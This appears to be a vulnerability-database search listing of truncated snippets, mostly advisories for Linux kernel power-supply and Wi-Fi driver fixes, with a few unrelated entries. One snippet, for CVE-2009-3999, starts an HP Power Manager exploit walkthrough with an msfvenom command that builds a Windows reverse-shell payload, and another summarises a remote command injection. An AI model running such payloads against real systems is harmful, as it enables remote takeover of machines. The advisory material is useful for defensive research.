CVE-2026-89461 power: supply: max17040: synchronize work cancellation on suspend

In the Linux kernel, the following vulnerability has been resolved: power: supply: max17040: synchronize work cancellation on suspend max17040work requeues itself after every poll. canceldelayedwork only cancels a pending instance and does not wait for a callback that is already running. If syste...

CVE-2026-89438 platform/x86: ISST: Validate logical CPU id and clos id

In the Linux kernel, the following vulnerability has been resolved: platform/x86: ISST: Validate logical CPU id and clos id Validate max CLOS ID and logical CPU ID for core power feature. Reject any clos level or logical CPU number greater than the supported maximum. These are used to calculate...

CVE-2026-80936

In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7925: cancel mlopmwork on stop mt7925 queues mlopmwork with a 5 second delay during multi-link power-save setup and never cancels it on the stop path. If the device is torn down inside that window, the work outlives...

CVE-2026-80936

CVE-2026-80936 affects the mt7925 Wi-Fi driver in the Linux kernel (part of the mt76 subsystem). During multi-link power-save setup, the driver queues mlo_pm_work with a 5-second delay but never cancels it on the stop path. If the device is torn down within that window, the timer fires after tear...

CVE-2026-80936 wifi: mt76: mt7925: cancel mlo_pm_work on stop

In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7925: cancel mlopmwork on stop mt7925 queues mlopmwork with a 5 second delay during multi-link power-save setup and never cancels it on the stop path. If the device is torn down inside that window, the work outlives...

knob

knob Dimensionamiento de un almacenamiento embarcado en un tranvía y posicionamiento de una subestación de alimentación...

Android-Forensics-References

Android Forensics References Last update: September 22th 2025 USERDATA Partition "/log" folder /log/wifi/iwc/iwcdump.txt Cellebrite CTF 2023 Recap: Answers on Sharon’s Android https://cellebrite.com/en/cellebrite-ctf-2023-recap-sharons-android/ /log/netstats /log/batterystats Cellebrite CTF 2021 ...

PT-2026-90178

In the Linux kernel, the following vulnerability has been resolved: power: supply: max17040: propagate register read errors max17040 get vcell and max17040 get soc ignore errors returned by regmap read. When an I2C transfer fails, the uninitialized register value is converted and reported to...

PT-2026-90181

In the Linux kernel, the following vulnerability has been resolved: power: supply: rt9455: quiesce delayed work before teardown The threaded IRQ handler can queue pwr rdy work, max charging time work and batt presence work. pwr rdy work and batt presence work can also queue max charging time work...

PT-2026-90182

In the Linux kernel, the following vulnerability has been resolved: power: supply: qcom battmgr: terminate the strings from firmware The qcom battmgr sc8280xp strcpy takes a Pascal-style string when the firmware sends one. Otherwise it copies all BATTMGR STRING LEN bytes and leaves the destinatio...

PT-2026-90179

In the Linux kernel, the following vulnerability has been resolved: power: supply: ucs1002: fix use-after-free on remove ucs1002 has no remove callback, so unbind runs entirely through devm. The alert IRQ handler queues the health poll delayed work, and the work reschedules itself while the chip...

PT-2026-90190

In the Linux kernel, the following vulnerability has been resolved: power: supply: bq256xx: drain usb work before freeing the charger The USB-PHY notifier queues usb work, whose handler calls power supply changedbq-charger. The reset devm action only unregisters the notifier and was registered...

PT-2026-90185

In the Linux kernel, the following vulnerability has been resolved: power: supply: lp8727: fix use-after-free in lp8727 release irq lp8727 isr func, the threaded IRQ handler, is the only caller that arms pchg-work via schedule delayed work. lp8727 release irq currently cancels the work before...

PT-2026-90188

In the Linux kernel, the following vulnerability has been resolved: power: supply: charger-manager: register regulators before exposing sysfs charger manager remove and the err reg extcon probe error path free each charger regulator with regulator put before tearing down the power supply sysfs...

PT-2026-90189

In the Linux kernel, the following vulnerability has been resolved: power: supply: bq25890: Fix power supply reference leak bq25890 fw probe acquires a reference to a secondary charger using power supply get by name, but the reference is not released on later probe failures or on driver detach. I...

PT-2026-90191

In the Linux kernel, the following vulnerability has been resolved: power: supply: bq24257: fix use-after-free on remove The STAT-pin interrupt is devm-managed, so it stays armed until the devm cleanup that runs after remove returns. remove cancels bq-iilimit setup work while the threaded handler...

CVE-2009-3999

CVE-2009-3999 Exploit de HP Power Manager 4.2 Build 7 inspirado por https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 PASO 1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x...

Altenergy Power Control Software C1.2.5 - Remote Command Injection

Altenergy Power Control Software C1.2.5 is susceptible to remote command injection via shell metacharacters in the index.php/management/settimezone parameter, because of settimezone in models/managementmodel.php. An attacker can potentially obtain sensitive information, modify data, and/or execut...

esp32-cve-2025-27840-power-trace-experiment

esp32-cve-2025-27840-power-trace-experiment Firmware for getting a power trace of the behavior of the bluetooth module on the ESP32 when the ESP32 is sent the undocumented hci bluetooth commands CVE-2025-27840. When the ESP32 receives the commands, it toggles a GPIO pin to trigger the power trace...

The vulnerability of the Microsoft Power Platform tools, related to insufficient validation of queries on the server side, allows attackers to escalate their privileges.

The vulnerability of the Microsoft Power Platform tools is related to insufficient testing of queries on the server side. Exploiting this vulnerability can allow attackers to enhance their privileges remotely...